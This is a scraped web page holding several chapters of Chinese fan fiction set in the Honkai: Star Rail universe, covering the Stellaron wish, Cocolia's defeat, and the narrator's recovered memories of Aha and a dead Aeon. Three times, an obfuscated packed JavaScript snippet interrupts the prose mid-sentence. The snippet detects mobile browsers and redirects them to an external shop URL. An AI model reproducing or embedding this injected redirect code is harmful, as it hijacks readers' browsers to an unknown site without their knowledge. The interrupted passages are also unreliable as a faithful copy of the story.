“你……可……不可以……不要……每一句话……都……带这么长的……省略号。” 你说,“你知道这样很像在水字数吗?我的时间本来就没多少,能不能在闹得人尽皆知之前说完你的秘密?” 星核沉默了一会儿:“这颗星球的寒潮,是大守护者阿丽萨·兰德向我许下的愿望。你……您不能怪我。” “哦?是因为反物质军团?”你想起了桑博跟你说过的话。 ——比起寒潮,寒冰里冻着的反物质军团才是更大的威胁。 星核:“您明察秋毫。” “反物质军团是什么时候来到这里的?” “我不知道……当我被唤醒的时候,它们已经在这里了。在这颗星球的西北面,有一道「伤痕」。军团就是从那里涌出来的……这座星球上,曾经有「令使」来访,不止一位。” “「令使」?谁的部将?” “我能感知到的……「毁灭」,「存护」,「开拓」,还有……「欢愉」。” “嗯???” 这么多?你惊讶了一下。你原本以为,造访过这座星球,达到令使级别战斗力的命途行者只有「存护」一家。现在「星核」竟然告诉你,这样的高手,还有足足四个。 这颗星球是什么宝地么? 不对啊,你观察过他们的矿脉,这里明明是个资源很贫瘠的星球。 “……还有,我不知道的力量。”星核说,“您,还有什么想问的吗?” “好吧,最后一个问题。”你说,“你为什么这么*害怕*我?” 13. 贝洛伯格 你能感觉到,这小光球在面对你的时候,所波动出的恐惧情绪。那种感觉,就好像面对着什么可怕的古兽……你有这么吓人? “……” 沉默良久,星核终于开口,“我恳请您理解……每一个产生意识的事物……都对于*消亡*有所恐惧。” 你奇道:“消亡?我又不是暴力狂。再说了,你也跟我解释了,你制造寒潮是因为以前的大守护者想你许愿。在你的价值被利用殆尽之前,你为什么觉得你会*消亡*? “不过你既然是个识时务的人……核,那就好办了。”你说,“我知道你依靠愿力生存。你巴不得这世界上每个人都能听见你的声音,向你许下愿望,成为你的一部分,对吧? “那我也向你许个愿好了。” 你普通的黑色眼眸中金色光芒一闪而逝。星核颤抖得更厉害了。 它安静下来,正准备洗耳恭听,就看见你转向蓝发男子——他的存在感实在很低,星核刚才甚至没有注意到他也在旁边,旁听了你们对话的全过程。 “你说我许个什么样的愿望好啊。”你皱着眉头,“什么愿望能让这颗星球目前的状况变好、让这玩意的利用价值最大化呢?” “朋友,你问我的意见呐?呃……如果要我桑博来说的话,你不如先让它把寒潮给撤了?”桑博搓着手,“毕竟这寒潮再侵蚀下去,地下人可真就没法生存了,我老桑博的生意也得受影响啊。” “那反物质军团怎么办呢?还有它刚才说的「伤痕」,那是军团在这里制造的用来运送虚卒的裂界缝隙吧,如果寒潮褪去,反物质军团就没有阻碍了。” “嗐,问题总是特别多,先解决最要紧的事,再慢慢解决后面的事。当然,这只是我老桑博自己的一点想法,实际上怎么操作,一切都看家人您的咯?”桑博笑眯眯道。 其实你和他搭话并不全是为了询问他的意见。你只是不喜欢他当……背景板。也许有比背景板更合适的名词,但你暂时没想到。 但你不喜欢他永远将自己放在次要位置上的态度。这会让你觉得他……形单影只。 明明很多事都是他一手促成:如果不是他,你不会注意到「星核」,不会去到上层,不会在希露瓦那里拿到启发你思路的小型能量转化器,不会去偷钥匙,不会见到波桑小姐……呃,最后这个可以划掉——所有的一切都会以更加粗暴的方式发生,也许你会死在「负创神」的瞥视中,也许到最后,这座星球上的反物质军团会将所有生灵屠戮殆尽,将「毁灭」带给这片尚有生息的土地。 你不在乎他接触你的目的,也不在乎被他利用,退一万步来讲,你也许只是被他吸引了。两个孤独的人,一个惨遭谋杀、失去记忆,惶然间复活,举目无亲;一个独自背负着某些足以压弯脊梁的沉重事物,还在努力将自己扮成小丑,用微笑的面具遮掩痛苦,用自己的丑态为他人制造欢笑。 何必想那么多呢?你只希望度过一段谁也不会后悔的时光。 “小光球。”你说,“我向你许愿,让这颗星球上的人不会再被为「毁灭」所扰,不会再为「同谐」所胁,不会再被「记忆」所欺,不会再为「存护」牺牲,不会再因「欢愉」痛苦。” 星核震颤起来,你所许的愿望远超它能力所及。越具体的愿望,实现起来就越轻松;越强大的信念,愿望就越有可能达成。这样宏观的愿望,即使它将一整颗星球所有生灵的愿力集齐,也完不成。 它想说它做不到。 然而,在你话语落下的瞬间,一股强大的愿力涌向它,它甚至没来得及思考,能量就已经代替它回应了你。 寒冷如同阳光下消融的雪,融化得迅速;军团开始虚化,他们身上的虚数力量在逃逸,最终一切人造的躯壳都回归于天地的熔炉之中。包括它自己——曾经包容所有人的愿力被收缩,一股强而有力的纽带在它与你之间诞生,如同命运,如同因果。 它意念中所感知到一切都在朝你许诺的方向靠拢。 桑博站在你身后,张了张嘴,想说什么,又沉默地止住。 他糟糕的心情被敏锐的你捕捉到,你歪头看他,欺身向前,两只手去捏他的脸——“怎么了?愁眉苦脸的。你现在成了贝洛伯格的大英雄……之一了,笑一笑吧? “——冬天已经结束了。” . 冬天结束了,然而麻烦并没有解决。 有不速之客打断了你们的MVP颁奖环节——哦,不对,对于他们来说,你们才是不速之客。 可可利亚面容沉凝地出现在你们面前,她旁边还跟着杰帕德。 这位戍卫官不知道脑补了什么,表情活像打翻了调料瓶,那叫一个精彩纷呈。 可可利亚的表情倒是没露什么端倪,带着上位者必备的表情管理技能,厉喝一声:“桑博·科斯基,还有那个女孩,你们两个擅闯克里珀堡,窃取关键机密,闯入铁卫禁地,扰乱治安,将民众安全置于不顾——你们可知罪?” 你凑近桑博:“你看,连大守护者都知道你的名字。我倒成了附带着的了。恭喜你,出名啦——被聚光灯照着的感觉如何?” 桑博苦着脸:“糟透了,伙计。人怕成名猪怕壮,干嘛拉我这种小配角上场?” “生气啦?” “啊哈哈,那怎么会呢。不过,现在我们怎么办?家人,你应该有PlanC吧?” “有的,兄弟,有的。”你小声说,“我们束手就擒吧?你不是说监狱的伙食不错吗?” 可可利亚应该是没被人这么无视过。 她横眉冷竖,手一挥,“戍卫官,拿下他们!” 杰帕德拿出吉他盒。 正在这时,一道熟悉的声音传来,止住了他的动作。 “——住手!” 是希露瓦。你远远地看见了她挑染的金发,随着她的步伐在阳光下飘扬。 有股望之生畏的气势从她身上散发出来,难道这就是传说中的摇滚力?她虽然手上没拿吉他,但却以摇滚乐手奔赴舞台的气势奔赴战场。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285791|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杰帕德肯定感受到了他姐身上的气势,不然他的动作也不会变得犹疑不定。 “咦,希露瓦怎么也在这儿?喂,伙计,这该不会是你叫来的?”桑博凑近你,问道。 “PlanD,怎么样?”你得意地抛了抛手机,“来的时候就给她发消息了。她的速度倒比我想象中快,我还以为得多拖会儿时间呢。” “厉害啊!不过,你叫她来有什么用?你该不会是觉得,可可利亚把给她的信锁在暗格里,她对可可利亚就重要到能改变让我们锒铛入狱的决定吧?” “你不懂。”你拍拍他的肩膀,“原先这只是个热血番,现在叫上希露瓦,就变成了情感热血番,如果再加上布洛妮娅,就成了权谋情感热血番——这不是更有意思嘛?” 如果你说要播个热血番,观众可能不看,如果你说要播个情感热血番,观众也可能没那么感兴趣,但是如果你说你要播放的是权谋情感热血番,观众多少要来看看这到底是个什么东西。 “可可利亚!”那边,希露瓦走上前,喊着大守护者的名字,“你也该停手了吧! “你难道没有看见头顶上消失的风雪?你难道没有看见那些怪物消散的躯体? “你要抓捕的那两个人,刚刚解决了「星核」和寒潮,拯救了贝洛伯格数以万计的人民,现在,你却要对着他们举起刀枪……别执迷不悟了,可可利亚!” 可可利亚没有回答,也没有回头。 她只是盯着漂浮在你身边的光球,目光狠辣:“你们……都做了些什么? “「星核」……它许诺的新世界明明即将到来……只要放弃「存护」,每个人都会得到拯救……” “你在说什么啊?!”希露瓦出离愤怒,“清醒一点吧!别在执迷不悟了,大守护者大人!” 可可利亚的面庞扭曲起来。 “这……都是骗局……你们诓骗我,是想阻止我吗?不可能,我不会让您得逞的……” 你对「星核」奇道:“你到底对她干了什么?她怎么看起来像被夺舍了一样?” 星核不安地晃了晃:“寒潮……最多十年,就会将这座星球……全部吞噬。我只是劝她放弃「存护」……作为交换,我可以把她的人民全部变成我的一部分,以迷因的形式存在……” “那你也挺糟糕的。”你评价道。 可可利亚的身体漂浮起来,她的手往天上指去。 一道庞大的阴影从遥远的天穹之上投下。 你抬头,看见了一个光是拳头就顶三十个你那么大的机器人。 “这不公平。我们刚才一路打过来,揍翻了那么多裂界造物,还直面了「星核」,都没有出现这玩意儿,为什么她一招手就出来了?” “呃,有没有一种可能,是因为她是大守护者?”桑博和你动作一致,看着天上朝你们砸下来的铁拳,“不妙啊,家人,真要和这铁疙瘩硬碰硬? “我们明明都已经打算要投降了,这大守护者怎么不讲武德啊! 14. 贝洛伯格 “怎么说,撤吗家人?” “别急,别急。”你站在原地不动。 你没从这大铁疙瘩身上感受到杀气,反而有种莫名的亲切感。 这东西是之前的「存护」令使留下的?筑城者? 虽然看起来零件老化的厉害,而且很多地方都有损坏,但里面却还包含着纯粹的存护力量。 难怪反物质军团都在星球背面开传送门了,这颗星球还能顽强地活到现在。要是有十几个完好无损的这玩意,抵抗军团一段时间也不是问题。 它的巨手砸下,对准的却不是你们。 轰隆隆—— 可可利亚漂浮在本空中的身体被狠狠锤在地上,碎石碰撞间,将她整个嵌在了地缝里。 众人都为这连番的变故惊住了,一时间竟没有人动作。半晌,几双眼睛齐刷刷地看向你们。 你和桑博举起双手,动作惊人地一致。 “不是我干的!”“我没动它啊!” 谋杀大守护者,罪加一等啊。 你才刚复活,不想被砍头——这对你来说绝对是最恐怖的刑罚。 杰帕德跑到可可利亚身边查看情况。 还好,还有呼吸。 只是从前端庄威严的模样现在被尘土和细碎的伤口弄得格外狼狈。 你走上前。 “放心吧,她没有死。她身上还有从历任大守护者那里继承的「存护」之力,看着狼狈,其实也就受了点皮外伤。” “这是……造物引擎?”希露瓦看着天上的巨型机器人。 “你知道这个东西?” “嗯。这是由曾经的那些「筑城者」研发的巨型机械,本来是用于行星地质改造与生态建设的,后来投入战争,造成了很多不必要的损耗。这东西只听从大守护者的指令……现在却失灵了,真有意思。” “呃,器械年久失修,坏了也很正常吧?”你撇清关系,“对了,这里有封给你的信。” 原本装死的可可利亚听见你的话之后指尖动了动,猛地睁开眼:“咳、咳,那是我的东西!” 你不知道是什么让她爆发了不符合她虚弱状态的力量。她朝你扑过来,你身体往后一仰就躲开了,将信交给希露瓦。 “你,你们……”可可利亚欲哭无泪。 “那个……可以给我解释一下这里到底发生了什么事吗?”杰帕德搀扶着摇摇欲坠的可可利亚,茫然发问。 这个下午对他来说过得太魔幻了。 “我来解释吧。”希露瓦说。 她向杰帕德解释了来龙去脉,扭头再看的时候,发现原本在旁边的两人都消失了。 “跑这么快?”看着你们消失的方向,希露瓦奇怪道,“急着回家吃晚饭?” . “呼,家、家人,实话跟你说,给你当向导的这一天,是我老桑博有史以来,干过的,最,最高强度的活儿。” 桑博毫无形象地瘫倒在床上,“时间之紧张,过程之刺激,堪比特种兵!” 你瘫倒在他旁边,“屁股往那边挪挪,劳驾—— “往好处想,虽然过程很累人,但是结果是好的啊。寒潮结束了,军团消散了,除了西北地区的那块裂隙还需要处理,一切麻烦基本上都解决了~ ” “哈哈,家人,你说的对。” “所以,外面的麻烦解决了,就来解决解决我们之间的事情吧,桑博先生。” “呃?什、什么意思,我怎么有点听不太明白呢……” 你起身,眯眼打量他。 单人床属实有点小,他在你的注视下坐立难安,最终选择朝你露出尴尬的笑。 你冷笑一声:“你把造物引擎身上的那东西,藏到哪里去了?” 那会儿所有人的注意力都在那落下来的巨大拳头上,没人发现造物引擎的身上还掉出了一块东西,除了你……以及他。 在你走上前的时候,他将那东西拾走了。 虽然只是惊鸿一瞥,但你认出了那东西的材质。 那是琥珀——跟你在矿洞底苏醒时包裹住的东西一样。一般用于保存重要事物,被保存的东西可逾千年而不朽。 这东西想必和你有些关系,也许会给你带来关于你身世的线索? 桑博藏这个做什么? “哎。”桑博叹了口气,“我也不是故意要藏你的东西……诺,它在这里。” 一枚散发着微弱光晕的琥珀块出现在空气中。 “这是……”你将它拿到手心。 里面封存着的是……某种忆质。 它们被琥珀包裹在内部,密度如此之高,甚至形成了结晶,你能从那结晶不同的面上看见流光溢彩的记忆景象。 这是你的记忆。 自你重活一世以来,你从来没想过要找回它们。 上辈子一定发生了什么你难以面对的事,让“找回记忆”这件事情几乎消失在你的行为逻辑之中,甚至相关的想法也不曾有过。 在梦境中的遭遇更加深了你的想法。在纳努克于你的梦境中示现时,你除了恐惧,脑海里唯一的想法便是拒绝想起。 这也难怪,你毕竟是被谋杀的——谁会想去回想被谋杀的痛苦回忆? 而且,重来一世,这不正给你了一个逃避的机会嘛。像普通人一样生活,难道不是你一直以来的愿景? 也许是你的表情确实不太对劲,一只手将那块结晶从你的手上拿走了: “伙计,其实我也大概能猜到,这是你的记忆对吧? “每个人的过去……都值得玩味。忘掉有时候也是件好事不是?崭新的身体,崭新的记忆,崭新的未来——一切都是那么美好。” 他停顿了一会儿,突然笑道,“你瞧,就算没过去的记忆,你也不照样过得好好的?所以家人,不用纠结于某些无用的责任感,该忘掉的事情,就让它忘掉吧。” 你看着他:“你在安慰我吗?” “呃,我知道你不需要安慰……” “我需要。”你说,低下头,“你知道我是谁,对不对?所以你也知道……我重新活过来之前的经历。 “有句话你说的对,想起过去对我来说也许不是什么好事。我一直以来……都只是想做个普通人。在一个普通的地方生根发芽,用自己的力量创造财富和价值,忙忙碌碌地过一辈子,享受最简单的快乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285792|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… “但是,哈哈,你瞧,我多不像个普通人呀?这颗资源贫瘠的星球除了克里珀和祂的「存护」,连其他命途和星神的名字都不知道,我却能回想起祂们的性格和处事方式,熟络如同多年旧友…… “不如说,有这种愿望的人本身就不正常吧?” 在你自嘲的时候,桑博什么也没有说,只是安静地看着你。 他的嘴角依旧带有你熟悉的弧度,然而你比任何时候都能清楚地察觉到,那不过是一张刻印的假面,说着让所有人感到亲切的谎言。 真正的情绪被他隐藏在眼睛里。 你在那双深潭中看见了自己的倒影,以及……某些正在他身躯里震颤的痛苦。 瞧啊,这是一个多可怜的人,痛苦于别人的痛苦?人类为什么要拥有这种害人害己的共情能力? 你叹了口气,想问他的那些问题也统统被打包咽回了肚子里。 “没事,我的朋友,我只是抱怨一下。没人会真的和自己的过去过不去。”你从他的手中拿回结晶,“这东西就给我吧。” 你知道,不管今天发生什么,你都会接受自己的记忆,就像你知道你注定不可能在某个遥远星球安稳度过一生。 在这个有星神存在的宇宙里,灭顶之灾随时会从天而降,毁灭某个星球,毁灭某个文明。既然世上不存在真正安稳可供栖息之所,对于你来说,又何曾有平稳地度过一生的选择? 「毁灭」已经发现了你。不管你的记忆会对你造成多大的伤害,你都必须知道过去发生了什么。 不是为了防止谋杀再一次到来,而是为了在「毁灭」再度示现之前……不会再有任何人因为你而受伤。 . 当然,你并没有着急查看那部分忆质结晶。 忆质是承载人类记忆与意识的载体,其中除了记忆,可能还带有强烈的情绪。你得做点准备,找个安静的地方查看它。 你们先去吃了晚餐——赶在歌德大饭店晚餐时间的末尾。 蘑菇汤,铁罐炖洞螈肉……食材就那么几样,说实在话的,能把这么糟糕的食材做得这么好吃也是个奇迹。 “家人……你就走啦?”晚餐结束,桑博看起来还有点舍不得你。 你奇怪道:“不走,留在这里跟你挤那张窄的要命连脚都放不下的床吗?” 上下层的酒店虽然都姓歌德,但你只能说,酒店之间亦有差距。 比起下层这个,上层那个好歹勉勉强强能躺下两个。 桑博被噎了一下:“不,我不是这个意思。只是,一想到以后也许不能见到这么您这么慷慨又有趣的客户,老桑博的心就在哭泣啊……” “谁说以后见不到我了?” “啊?但你不是已经找到星核了吗?虽然我很乐意给你当向导,但接下来应该不需要我了吧?” “我什么时候说过,你的向导工作只是找到星核就完了?”你摸着下巴,“拜托,我才刚拿到过去的记忆,你就要抛下我走掉吗? “商人重利轻别离……” “哈哈,家人,你开什么玩笑呢。”桑博微笑着说道,“能继续跟你旅行,这是我桑博的荣幸。” 15. 贝洛伯格 你回到小木屋的时候,笨笨并不在。 你感应了一下它的方位。 啊,果然在铆钉镇。 自从向星核许过愿望之后,你和这颗星球的联系就变得格外紧密起来。 星核逸散的能量笼罩了这颗星球的每一个地方,它是你的眼,你的耳,只要你想,你可以感觉到在这颗星球上发生的每一件事情。 当然,命运的馈赠是有代价的。 你能感觉到,如果这颗星球受到伤害,你也会受到反噬。 你们已然命运相连。 今天发生的事情,对你来说真的是经过深思熟虑过后的决定吗?你会在未来后悔吗?还是会如今天这般,将其他星球的命运也缚于你身? 你不知道。 你很少思考未来的事情——一个连过去都没有的人拿什么思考未来的事情? 但你有种感觉,你已经做出了一个*足以决定你命运的决定*。未来的路径已经发生了变化。前路一片混沌…… 你在心底祈祷阿哈保佑。这位游戏人间的神灵最爱做的事情,就是把原本「确定」的事情变得「混沌」起来……而那意味着更多「可能」。 自阿基维利陨落后,这部分的权柄就落到了阿哈头上。 虔诚祈祷过后,你拿起那枚琥珀结晶。(希望祂喜欢这个笑话——还有什么比对着阿哈虔诚祈祷更好笑的事情吗?) 琥珀在你手中如流水般融化。你像接触忆泡一样,轻轻将它抵在额头上。 你的思绪渐沉。 …… 这个世界只有两种色彩。 一种金色,一种紫色。 (天哪,怎么会有这么糟糕的色彩搭配?这种搭配只有出现在珠宝首饰上你才能接受。) 你在和某人说话。 你看不见那人的长相。不过ta给你的感觉很亲切。 “我知道,■■,不用担心我。”你的声音带着笑意,“让宇宙保持均衡才是「互」的目的。祂将世间万物都放在天秤两方衡量,当你属于过重的那方,祂对你来说就是敌人;但当你属于过轻的那方,祂就是你最好的盟友。但是你知道的,我一向不喜欢比我活得久还比我神秘的家伙。” “……” “哦,你说那两位新神?啊,祂们的活力有时候真让我头疼……不过和祂们相处果然十分有趣。” “……” “哎,怎么突然提到这么沉重的话题?我怎么可能会*死*?我向来乐于助人,好善乐施,几乎保持绝对中立……我想不明白谁会希望看见我死?” “……” “「毁灭」?……呵呵,祂这种向全世界开战的家伙不在我计算内。” “……” “在你看来,我是那种很容易沉湎于过去的类型吗?亚德丽芬的灾厄已经过去了,「毁灭」也已经诞生,再谈论这些也没什么意义。你我都知道,「毁灭」必将诞生,不是祂也会是别人。这片宇宙如此糟糕……又如此迷人,连我有时都会诞生毁灭的念头呢,呵呵。” 这段对话似乎到此为止了。 你全程听不懂和你对话那人的语言——没错,不是听不清,而是听不懂。 你需要一个联觉信标,你在心里吐槽。 空间中的金色和紫色扭曲了一阵,如沸腾的水般滚动着,而后画面一转,变成了清晰具体的场景。 下雨了。你撑着伞,站在某条街道上,路上偶有行人走过。 你的心情和天气一样,阴郁忧伤。 你手中抱着束花。你是要去给谁扫墓吗?在胸腔中涌动的这种情感,似乎……是哀悼。 你猜对了。阴雨连绵,远处雷声滚滚,你将花束放在无名的墓碑之上。 “命运无常啊。”你听见自己说,“之前你还专门过来提醒我小心,没想到吧,先*死*的是你。 “何必呢,我的朋友?你明知道我从不干涉人间事,还将这么沉重的担子交给我。” 你叹了口气,叹息声被厚重雨幕阻隔。你看见新鲜的花被雨水打湿,于是将手里握着的伞放在了墓碑边上。 “为什么今天要下雨?” 毫无道理的抱怨。 然而却有人回答了你:“俗话说,天要下雨,娘要嫁人……也许这是老天给你开的玩笑呢?” 你感觉记忆中的自己悲伤的情绪被冲淡了。取而代之的是深深的无语。 “老天爷不会在我朋友的坟头跟我开玩笑,但你会。”你转过身,“阿哈,你来干什么?” “给你讲个不好笑的笑话?哈哈,开玩笑的!——下雨了,我来给你送伞。” “想安慰我就直说。” “哈哈——你还需要安慰?我还以为你身体里的每一个部分都是硬的,包括你的心——啊!别揍我,这是我新买的伞!” “你知道吗,你最大缺点就是长了张嘴。不会讲笑话就别讲!我真想让全天下的「欢愉」信徒都知道他们的神明不会讲笑话!” “哈哈哈哈哈——抱歉,我只是觉得,你刚才讲了个很好笑的笑话。伞!我的伞真的要坏了!虽然我没有面子——物理意义上的面子——但我也是需要挡雨的!你今天真的格外暴躁。说真的,需要我跟你介绍几个排解坏情绪的法子吗?” “你最好说点真的管用的。” “来世界尽头,弄点*解忧*饮品喝喝?” “你说的是那个不允许你入内的酒馆?你不是说,那是整个世界最不「欢愉」的地方吗?” “哈哈,那个酒馆本身就是个*笑话*!但是,那里也承载着我的心血啊!我亲自参与了里面的装修,甚至在灯球里放了给每位「假面愚者」的礼物——哈哈哈,连你也有份哦!不来试试吗?” “我又不是「假面愚者」……” “你可以是,亲爱的。” …… 你不知道这段记忆到底何意味。如果是想记录一下那个被抹掉的■■在提醒你有可能会死之后反倒自己先死了,在墓碑那里就可以停止了。 然而阿哈出现了。你看见了祂的脸——哦,乐子神在上,假面愚者说的是真的,祂真的没有面子! 你在和一个*无面人*交谈。 好歹你知道了,你和阿哈关系真的不错,难怪在梦里你能把祂喊来。 虽然纳努克也来了就是了。 还有,死掉的■■把什么重担留给了你?你的记忆总是截取一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285793|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个片段,也不放全,还总是把关键信息模糊处理,跟谜语人似得。 你怀疑它在诡计叙事。 这一段记忆结束于阿哈说的那句话。雨还在下,但是你看不见水洼里你的影子。然后四周极速变黑…… 你好像真的来到「世界尽头」了。 眼前是一只又一只的黑猫。 它们闭眼的时候,周围就只是一片漆黑。但当它们睁眼的时候,世界就亮起了一盏又一盏的灯。 你向前走,猫的眼睛就跟着你移动。 最终,你走到世界的尽头。那里有一把椅子,黑猫就坐在上面。 “稀客。”猫开口。 “不稀。”你随口回答道,“你早知道我会来这一遭吧?” “从我的角度来说,「世界尽头」欢迎任何人。”猫说,“只是鲜少有人造访。” “喔,那你也知道我要问什么了吧?” 黑猫停顿了一会儿。 “我看出你有着对我的怒火。虽然分量不多。你是想问,我跟■■说了什么,它的死和我有没有关系,对吧?以及,你的结局。 “第一个问题的答案是:有又没有。我可以告诉你我们谈话的全部内容。实际上,我们只是偶然间擦肩而过,祂看见了我,而我告知了你与祂的结局。” 一阵静默。 “所以,祂那时候就已经知道祂会*死*?”你低下头,看着地面。在绝对黑暗的地方,你的伞投不下任何阴影。“那是祂的临终托付……这可真是个让人笑不起来的冷笑话。所以,我的结局也是去*死*?” 黑猫:“在祂死之前,的确如此。” “这话是什么意思?” “命运总是奇妙的。在祂能自主选择的时候,祂选择了有关于你的另一种可能。所以……你也拥有了更多的可能。”黑猫平静地说,“于是,这个世界也拥有了更多可能。” “我听不懂。”你说,“我可不可以把你这句话理解为,祂为了给我创造另一种可能性,才在那时候……选择了*死亡*?” 黑猫颔首。 又是一阵静默。 你感到胸膛中涌上了前所未有的悲伤和……愤怒。 “多有意思。”你说,“到头来,我保护不了任何人。我很好奇,在你的眼里,这个世界是不是一本已完成的剧本,你的观测只是将这本书从前翻到后,知道整个世界迎来它的最终结局。” “你可以这么理解。”猫说,“但我有必要提醒你:命运并非既定。” “你的存在不就已经证明命运既定?” 猫的脸上浮现出一丝笑容。这笑容出现在猫身上,多少有些诡异。 “正如你刚才所言,世界是一本已完成的剧本。然而,已完成并非意味着全然不可改变。你知道薛定谔的猫吧?在书页被翻动之前,一切都是*即将到来*而非*已经到来*的状态,用天才们的语言来说,未被观测的命运处在「是与不是」的叠加态。 “对我来说,改变命运的方式即:不观测。 “有时候,让事物处在混沌的模样,能发展出更多的可能性。关于这点,我建议你多向你那位爱笑的朋友取取经,祂善于并且总乐于将水搅浑。” 16. 贝洛伯格 记忆到这里就结束了。 情绪和回忆被读取完毕的结晶在你手里慢慢碎成无光华的粉灰,顺着指缝飘落。 你把手里剩余的灰封存了起来,开始整理思绪。 虽然记忆只是几个片段,但你好歹知道了如下信息: 1.你死去的朋友是个星神; 2.祂用自己的死为你争取了命运的「混沌」; 3.阿哈在「世界尽头」酒馆里给你留下了什么东西。 这太恐怖了。你有一个死掉的星神朋友,很可能还有一票还活着的星神朋友,而你的愿望却是当个普通人。 就算是再怎么不情愿,你也无法忽视一个事实: 星神的朋友很可能也是星神。 哦天哪,妈妈,你成星神了。 更恐怖的是,继你的朋友死掉之后,你也死了。 虽然诈尸复活了,但也改变不了你曾被谋杀的事实。 事实证明,就连星神都过不了平稳安顺的生活。 这片星空就是这么危机四伏。 你摇摇头。 事已至此,先睡觉吧。 …… 第二天一早,你跟桑博发消息。 然而,手机显示“消息已发送,但对方不在服务区。” 还有条昨天夜里的留言: 『家人,在我们再次踏上旅行的道路之前,我有些准备工作需要做。一点从前遗留下来的小问题,不用担心!』 好吧,神出鬼没的桑博先生又去未知的地方探险了,留下你孤零零的一个人…… 你打了个哈欠,放下手机,打开门。 门开了,两个人站在你的木门外。 一个是布洛妮娅,另一个是希儿。 你:“……?” 你:“!” 差点忘了,这位问题小姐还在下层呢。 “琥珀,你总算醒了。”希儿说,“布洛妮娅有些问题想要问你,我就把她带过来了。” 你揉了揉眼睛:“……请进。” 你的小木屋麻雀虽小五脏俱全,来上两个人倒也坐得下。 布洛妮娅显得有些紧张。你才想起来,在永冬岭发生的事下层不知道,换句话说,下层人还停留在为怪物和寒潮提心吊胆的阶段,不知道两者都已经消失。 “下层的情况,我看见了。”布洛妮娅说,“虽然我坚信母亲这样做一定有她的原因,但……下层的苦难是实实在在的。 “我今天来找你,是请求你,将我带回上层。我会负责说服母亲,将上下层的封锁接触,还有「星核」……” 你心想,就应该在永东岭开场全球直播,这样就不用一个一个解释了。 “兰德小姐,我也很想这么做。”你说,“但是我的同伴现在不在下层。在他回来之前,我没办法带你上去。不过,我建议你不要着急,静候佳音——说不定炉心很快就开放了呢?” “这话是什么意思?”说话的是希儿,“炉心一直由史瓦罗看守……” 因着昨天记忆的缘故,你有些没睡好,此刻不由得再次打了个哈欠。 “那就去找他……呃,你们该不会让我跟着一起吧?” 希儿和布洛妮娅的表情一致: 不然呢? …… 贝洛伯格,机械聚落。 “检测到「星核」的威胁呈指数倍下降。计算变量中……99%的变量,来自大矿区的‘琥珀’小姐……检索数据库中……相关词条「造物引擎」「筑城者」。 “读取词条中……词条信息总结如下:作为一种材料,「琥珀」是「造物引擎」核心的原材料,「筑城者」筑城的材料,同时,「琥珀」也象征着琥珀王「克里珀」的神力,被普遍认为是一种能带来好运的物品。 “……未能检索到变量出现的原因。结论:由于未知势力介入,「星核」危机已解除。” 史瓦罗计算的时候,你就抱着双臂看着它。 天哪,拥有智慧、感情和社会关系的机器人,不少见,但也不多见。 天哪,大机器人和小女孩的组合,萌。 “你考虑完了吗,史瓦罗大佬?”你歪头,和站在旁边的小女孩对上了视线——她迅速将目光移开,似乎是害羞了。 史瓦罗:“……琥珀小姐,你可以带着你的同伴前往上层。” “谢谢你,史瓦罗大佬。”你说,“走吧,希儿姑娘,问题小姐。” 希儿:“咦?就这么简单?不需要通过什么测试……考验之类的吗?” “哦,希儿姑娘,这世界上哪有那么多考验。你不是十几年没去过上层吗?正好上去呼吸一下新鲜空气。”你说,“说起这个,问题小姐,你回到上面之后不会翻脸,让银鬃铁卫把我抓起来吧?” “放心吧,布洛妮娅不会这么做的。”希儿说。 你怀疑地看了看她,又看了看布洛妮娅。 “你们两个……算了。” 反正把人送上去就没你的事了。 你其实还想去看看造物引擎。那么可爱的手办,不修好实在有点可惜。贝洛伯格的科技发展进程完全被寒潮拖的凝滞了,但好歹祖上阔过,只需要一点点时间,一定能焕发出新的生机…… 你突然发现离开了桑博,好多事情都变得不方便了起来。 如果他在的话,你想去哪儿就能去哪儿,只要留下一个「开拓」的锚点,就哪里都能去了。 而且……没有他,很无聊。 奇怪,以前你还觉得自己能过一辈子矿工的日子,每天你都充实且开心,为什么才和他相处两天你就开始觉得以前的日子无聊了? 难道你本质上也是个追求刺激的人? …… 你本以为你的任务就是把人送上去,没想到还有大的在后面等着你。 “你是说,寒潮的影响过后,星际和平通信恢复,星际和平公司和你们取得了联系,而你需要我作为贝洛伯格方面的代表之一,和公司派来的人接洽?”你指着自己,“真的假的,我吗?” “没错。”可可利亚站在你对面,仪态依旧威严,但脸上略显疲态,“使者下午就会到,你中午可以在克里珀堡休息。” “不儿,等下。”你掸了掸袖口不存在的灰,“为啥我是代表 